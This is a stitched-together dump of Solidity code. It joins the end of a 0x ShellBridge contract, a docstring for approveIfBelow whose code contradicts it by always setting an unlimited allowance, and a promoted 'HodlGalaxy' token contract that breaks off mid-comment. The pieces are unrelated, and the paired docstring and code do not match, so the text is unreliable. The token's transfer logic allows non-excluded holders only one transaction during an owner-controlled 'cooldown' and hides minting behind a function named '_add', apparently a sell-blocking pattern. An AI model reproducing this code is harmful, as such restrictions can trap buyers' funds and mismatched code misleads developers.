Shell contract address constant private SHELL_CONTRACT = 0x2E703D658f8dd21709a7B458967aB4081F8D3d05; // // Ropsten addresses /////////////////////////////////////////////////////// // /// @dev Mainnet address of the WETH contract. // address constant private WETH_ADDRESS = 0xc778417E063141139Fce010982780140Aa0cD5Ab; // /// @dev Mainnet address of the KyberNetworkProxy contract. // address constant private KYBER_NETWORK_PROXY_ADDRESS = 0xd719c34261e099Fdb33030ac8909d5788D3039C4; // /// @dev Mainnet address of the `UniswapExchangeFactory` contract. // address constant private UNISWAP_EXCHANGE_FACTORY_ADDRESS = 0x9c83dCE8CA20E9aAF9D3efc003b2ea62aBC08351; // /// @dev Mainnet address of the `UniswapV2Router01` contract. // address constant private UNISWAP_V2_ROUTER_01_ADDRESS = 0xf164fC0Ec4E93095b804a4795bBe1e041497b92a; // /// @dev Mainnet address of the Eth2Dai `MatchingMarket` contract. // address constant private ETH2DAI_ADDRESS = address(0); // /// @dev Mainnet address of the `ERC20BridgeProxy` contract // address constant private ERC20_BRIDGE_PROXY_ADDRESS = 0xb344afeD348de15eb4a9e180205A2B0739628339; // ///@dev Mainnet address of the `Dai` (multi-collateral) contract // address constant private DAI_ADDRESS = address(0); // /// @dev Mainnet address of the `Chai` contract // address constant private CHAI_ADDRESS = address(0); // /// @dev Mainnet address of the 0x DevUtils contract. // address constant private DEV_UTILS_ADDRESS = 0xC812AF3f3fBC62F76ea4262576EC0f49dB8B7f1c; // /// @dev Kyber ETH pseudo-address. // address constant internal KYBER_ETH_ADDRESS = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE; // /// @dev Mainnet address of the dYdX contract. // address constant private DYDX_ADDRESS = address(0); // /// @dev Mainnet address of the GST2 contract // address constant private GST_ADDRESS = address(0); // /// @dev Mainnet address of the GST Collector // address constant private GST_COLLECTOR_ADDRESS = address(0); // /// @dev Mainnet address of the mStable mUSD contract. // address constant private MUSD_ADDRESS = 0x4E1000616990D83e56f4b5fC6CC8602DcfD20459; // // Rinkeby addresses /////////////////////////////////////////////////////// // /// @dev Mainnet address of the WETH contract. // address constant private WETH_ADDRESS = 0xc778417E063141139Fce010982780140Aa0cD5Ab; // /// @dev Mainnet address of the KyberNetworkProxy contract. // address constant private KYBER_NETWORK_PROXY_ADDRESS = 0x0d5371e5EE23dec7DF251A8957279629aa79E9C5; // /// @dev Mainnet address of the `UniswapExchangeFactory` contract. // address constant private UNISWAP_EXCHANGE_FACTORY_ADDRESS = 0xf5D915570BC477f9B8D6C0E980aA81757A3AaC36; // /// @dev Mainnet address of the `UniswapV2Router01` contract. // address constant private UNISWAP_V2_ROUTER_01_ADDRESS = 0xf164fC0Ec4E93095b804a4795bBe1e041497b92a; // /// @dev Mainnet address of the Eth2Dai `MatchingMarket` contract. // address constant private ETH2DAI_ADDRESS = address(0); // /// @dev Mainnet address of the `ERC20BridgeProxy` contract // address constant private ERC20_BRIDGE_PROXY_ADDRESS = 0xA2AA4bEFED748Fba27a3bE7Dfd2C4b2c6DB1F49B; // ///@dev Mainnet address of the `Dai` (multi-collateral) contract // address constant private DAI_ADDRESS = address(0); // /// @dev Mainnet address of the `Chai` contract // address constant private CHAI_ADDRESS = address(0); // /// @dev Mainnet address of the 0x DevUtils contract. // address constant private DEV_UTILS_ADDRESS = 0x46B5BC959e8A754c0256FFF73bF34A52Ad5CdfA9; // /// @dev Kyber ETH pseudo-address. // address constant internal KYBER_ETH_ADDRESS = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE; // /// @dev Mainnet address of the dYdX contract. // address constant private DYDX_ADDRESS = address(0); // /// @dev Mainnet address of the GST2 contract // address constant private GST_ADDRESS = address(0); // /// @dev Mainnet address of the GST Collector // address constant private GST_COLLECTOR_ADDRESS = address(0); // /// @dev Mainnet address of the mStable mUSD contract. // address constant private MUSD_ADDRESS = address(0); // // Kovan addresses ///////////////////////////////////////////////////////// // /// @dev Kovan address of the WETH contract. // address constant private WETH_ADDRESS = 0xd0A1E359811322d97991E03f863a0C30C2cF029C; // /// @dev Kovan address of the KyberNetworkProxy contract. // address constant private KYBER_NETWORK_PROXY_ADDRESS = 0x692f391bCc85cefCe8C237C01e1f636BbD70EA4D; // /// @dev Kovan address of the `UniswapExchangeFactory` contract. // address constant private UNISWAP_EXCHANGE_FACTORY_ADDRESS = 0xD3E51Ef092B2845f10401a0159B2B96e8B6c3D30; // /// @dev Kovan address of the `UniswapV2Router01` contract. // address constant private UNISWAP_V2_ROUTER_01_ADDRESS = 0xf164fC0Ec4E93095b804a4795bBe1e041497b92a; // /// @dev Kovan address of the Eth2Dai `MatchingMarket` contract. // address constant private ETH2DAI_ADDRESS = 0xe325acB9765b02b8b418199bf9650972299235F4; // /// @dev Kovan address of the `ERC20BridgeProxy` contract // address constant private ERC20_BRIDGE_PROXY_ADDRESS = 0x3577552C1Fb7A44aD76BeEB7aB53251668A21F8D; // /// @dev Kovan address of the `Chai` contract // address constant private CHAI_ADDRESS = address(0); // /// @dev Kovan address of the `Dai` (multi-collateral) contract // address constant private DAI_ADDRESS = 0x4F96Fe3b7A6Cf9725f59d353F723c1bDb64CA6Aa; // /// @dev Kovan address of the 0x DevUtils contract. // address constant private DEV_UTILS_ADDRESS = 0x9402639A828BdF4E9e4103ac3B69E1a6E522eB59; // /// @dev Kyber ETH pseudo-address. // address constant internal KYBER_ETH_ADDRESS = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE; // /// @dev Kovan address of the dYdX contract. // address constant private DYDX_ADDRESS = address(0); // /// @dev Kovan address of the GST2 contract // address constant private GST_ADDRESS = address(0); // /// @dev Kovan address of the GST Collector // address constant private GST_COLLECTOR_ADDRESS = address(0); // /// @dev Mainnet address of the mStable mUSD contract. // address constant private MUSD_ADDRESS = address(0); /// @dev Overridable way to get the `KyberNetworkProxy` address. /// @return kyberAddress The `IKyberNetworkProxy` address. function _getKyberNetworkProxyAddress() internal view returns (address kyberAddress) { return KYBER_NETWORK_PROXY_ADDRESS; } /// @dev Overridable way to get the `KyberHintHandler` address. /// @return kyberAddress The `IKyberHintHandler` address. function _getKyberHintHandlerAddress() internal view returns (address hintHandlerAddress) { return KYBER_HINT_HANDLER_ADDRESS; } /// @dev Overridable way to get the WETH address. /// @return wethAddress The WETH address. function _getWethAddress() internal view returns (address wethAddress) { return WETH_ADDRESS; } /// @dev Overridable way to get the `UniswapExchangeFactory` address. /// @return uniswapAddress The `UniswapExchangeFactory` address. function _getUniswapExchangeFactoryAddress() internal view returns (address uniswapAddress) { return UNISWAP_EXCHANGE_FACTORY_ADDRESS; } /// @dev Overridable way to get the `UniswapV2Router01` address. /// @return uniswapRouterAddress The `UniswapV2Router01` address. function _getUniswapV2Router01Address() internal view returns (address uniswapRouterAddress) { return UNISWAP_V2_ROUTER_01_ADDRESS; } /// @dev An overridable way to retrieve the Eth2Dai `MatchingMarket` contract. /// @return eth2daiAddress The Eth2Dai `MatchingMarket` contract. function _getEth2DaiAddress() internal view returns (address eth2daiAddress) { return ETH2DAI_ADDRESS; } /// @dev An overridable way to retrieve the `ERC20BridgeProxy` contract. /// @return erc20BridgeProxyAddress The `ERC20BridgeProxy` contract. function _getERC20BridgeProxyAddress() internal view returns (address erc20BridgeProxyAddress) { return ERC20_BRIDGE_PROXY_ADDRESS; } /// @dev An overridable way to retrieve the `Dai` contract. /// @return daiAddress The `Dai` contract. function _getDaiAddress() internal view returns (address daiAddress) { return DAI_ADDRESS; } /// @dev An overridable way to retrieve the `Chai` contract. /// @return chaiAddress The `Chai` contract. function _getChaiAddress() internal view returns (address chaiAddress) { return CHAI_ADDRESS; } /// @dev An overridable way to retrieve the 0x `DevUtils` contract address. /// @return devUtils The 0x `DevUtils` contract address. function _getDevUtilsAddress() internal view returns (address devUtils) { return DEV_UTILS_ADDRESS; } /// @dev Overridable way to get the DyDx contract. /// @return exchange The DyDx exchange contract. function _getDydxAddress() internal view returns (address dydxAddress) { return DYDX_ADDRESS; } /// @dev An overridable way to retrieve the GST2 contract address. /// @return gst The GST contract. function _getGstAddress() internal view returns (address gst) { return GST_ADDRESS; } /// @dev An overridable way to retrieve the GST Collector address. /// @return collector The GST collector address. function _getGstCollectorAddress() internal view returns (address collector) { return GST_COLLECTOR_ADDRESS; } /// @dev An overridable way to retrieve the mStable mUSD address. /// @return musd The mStable mUSD address. function _getMUsdAddress() internal view returns (address musd) { return MUSD_ADDRESS; } /// @dev An overridable way to retrieve the Mooniswap registry address. /// @return registry The Mooniswap registry address. function _getMooniswapAddress() internal view returns (address) { return MOONISWAP_REGISTRY; } /// @dev An overridable way to retrieve the Shell contract address. /// @return registry The Shell contract address. function _getShellAddress() internal view returns (address) { return SHELL_CONTRACT; } } /* Copyright 2019 ZeroEx Intl. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ contract IERC20Bridge { /// @dev Result of a successful bridge call. bytes4 constant internal BRIDGE_SUCCESS = 0xdc1600f3; /// @dev Emitted when a trade occurs. /// @param inputToken The token the bridge is converting from. /// @param outputToken The token the bridge is converting to. /// @param inputTokenAmount Amount of input token. /// @param outputTokenAmount Amount of output token. /// @param from The `from` address in `bridgeTransferFrom()` /// @param to The `to` address in `bridgeTransferFrom()` event ERC20BridgeTransfer( address inputToken, address outputToken, uint256 inputTokenAmount, uint256 outputTokenAmount, address from, address to ); /// @dev Transfers `amount` of the ERC20 `tokenAddress` from `from` to `to`. /// @param tokenAddress The address of the ERC20 token to transfer. /// @param from Address to transfer asset from. /// @param to Address to transfer asset to. /// @param amount Amount of asset to transfer. /// @param bridgeData Arbitrary asset data needed by the bridge contract. /// @return success The magic bytes `0xdc1600f3` if successful. function bridgeTransferFrom( address tokenAddress, address from, address to, uint256 amount, bytes calldata bridgeData ) external returns (bytes4 success); } /* Copyright 2020 ZeroEx Intl. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ interface IShell { function originSwap( address from, address to, uint256 fromAmount, uint256 minTargetAmount, uint256 deadline ) external returns (uint256 toAmount); } contract ShellBridge is IERC20Bridge, IWallet, DeploymentConstants { /// @dev Swaps specified tokens against the Shell contract /// @param toTokenAddress The token to give to `to`. /// @param from The maker (this contract). /// @param to The recipient of the bought tokens. /// @param amount Minimum amount of `toTokenAddress` tokens to buy. /// @param bridgeData The abi-encoded "from" token address. /// @return success The magic bytes if successful. // solhint-disable no-unused-vars function bridgeTransferFrom( address toTokenAddress, address from, address to, uint256 amount, bytes calldata bridgeData ) external returns (bytes4 success) { // Decode the bridge data to get the `fromTokenAddress`. (address fromTokenAddress) = abi.decode(bridgeData, (address)); uint256 fromTokenBalance = IERC20Token(fromTokenAddress).balanceOf(address(this)); IShell exchange = IShell(_getShellAddress()); // Grant an allowance to the exchange to spend `fromTokenAddress` token. LibERC20Token.approveIfBelow(fromTokenAddress, address(exchange), fromTokenBalance); // Try to sell all of this contract's `fromTokenAddress` token balance. uint256 boughtAmount = exchange.originSwap( fromTokenAddress, toTokenAddress, fromTokenBalance, amount, // min amount block.timestamp + 1 ); LibERC20Token.transfer(toTokenAddress, to, boughtAmount); emit ERC20BridgeTransfer( fromTokenAddress, toTokenAddress, fromTokenBalance, boughtAmount, from, to ); return BRIDGE_SUCCESS; } /// @dev `SignatureType.Wallet` callback, so that this bridge can be the maker /// and sign for itself in orders. Always succeeds. /// @return magicValue Magic success bytes, always. function isValidSignature( bytes32, bytes calldata ) external view returns (bytes4 magicValue) { return LEGACY_WALLET_MAGIC_VALUE; } }
Calls `IERC20Token(token).approve()` and sets the allowance to the maximum if the current approval is not already >= an amount. Reverts if `false` is returned or if the return data length is nonzero and not 32 bytes. token The address of the token contract. spender The address that receives an allowance. amount The minimum allowance needed.
function approveIfBelow( address token, address spender, uint256 amount ) internal { approve(token, spender, uint256(-1)); }
1,062,359
/** * ██╗░░██╗░█████╗░██████╗░██╗░░░░░░██████╗░░█████╗░██╗░░░░░░█████╗░██╗░░██╗██╗░░░██╗ * ██║░░██║██╔══██╗██╔══██╗██║░░░░░██╔════╝░██╔══██╗██║░░░░░██╔══██╗╚██╗██╔╝╚██╗░██╔╝ * ███████║██║░░██║██║░░██║██║░░░░░██║░░██╗░███████║██║░░░░░███████║░╚███╔╝░░╚████╔╝░ * ██╔══██║██║░░██║██║░░██║██║░░░░░██║░░╚██╗██╔══██║██║░░░░░██╔══██║░██╔██╗░░░╚██╔╝░░ * ██║░░██║╚█████╔╝██████╔╝███████╗╚██████╔╝██║░░██║███████╗██║░░██║██╔╝╚██╗░░░██║░░░ * ╚═╝░░╚═╝░╚════╝░╚═════╝░╚══════╝░╚═════╝░╚═╝░░╚═╝╚══════╝╚═╝░░╚═╝╚═╝░░╚═╝░░░╚═╝░░░ * * HodlGalaxy is a coming fairlaunch ESC Token, with the best suited Tokenomics for the current ESC era, rewarding 7% in $WETH. * HodlGalaxy's use-case is to become a 3rd party liquidity platform which allows holders of $HGALAXY to create their own liquidity/farming pools for their own token. * We also feature a professional Doxxed Team! HodlGalaxy is here to stay and we invite you to join us. * * During the FairLaunch of HodlGalaxy a max buy of 1.5 ETH will be set for the first 1 minute to stop long holders being able to dump large amounts of tokens. * The contract address will be released for everyone at the same time to stop bots from ruining the launch. * * Token Tax Breakdown: 7% $WETH Rewards, 4% Marketing Fee, 2% Liquidity. * * Website https://HodlGalaxy.com * Telegram https://t.me/HodlGalaxy */ // SPDX-License-Identifier: MIT // File: contracts/Context.sol pragma solidity ^0.6.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // File: contracts/IERC20.sol pragma solidity ^0.6.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File: contracts/SafeMath.sol pragma solidity ^0.6.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } // File: contracts/Address.sol pragma solidity ^0.6.2; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies in extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: contracts/Ownable.sol pragma solidity ^0.6.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // File: contracts/ERC20.sol pragma solidity ^0.6.0; /** * @dev Implementation of the {IERC20} interface. */ contract ERC20 is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; bool public inCooldown = false; uint256 public maxTxAmount = 1000000000000000 * 1000000000000000000; mapping (address => bool) private _isExcluded; mapping (address => uint256) private _tranzCount; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (string memory name, string memory symbol) public { //, uint256 totalSupply _name = name; _symbol = symbol; _decimals = 18; } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); if ((inCooldown == true) && !(_isExcluded[sender] || _isExcluded[recipient])) { require(_tranzCount[sender] == 0, "inCooldown: only one tranzaction allowed"); require(amount < maxTxAmount, "inCooldown: Transfer amount exceeds the maxTxAmount"); _tranzCount[sender]++; } _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _add(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: add to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev 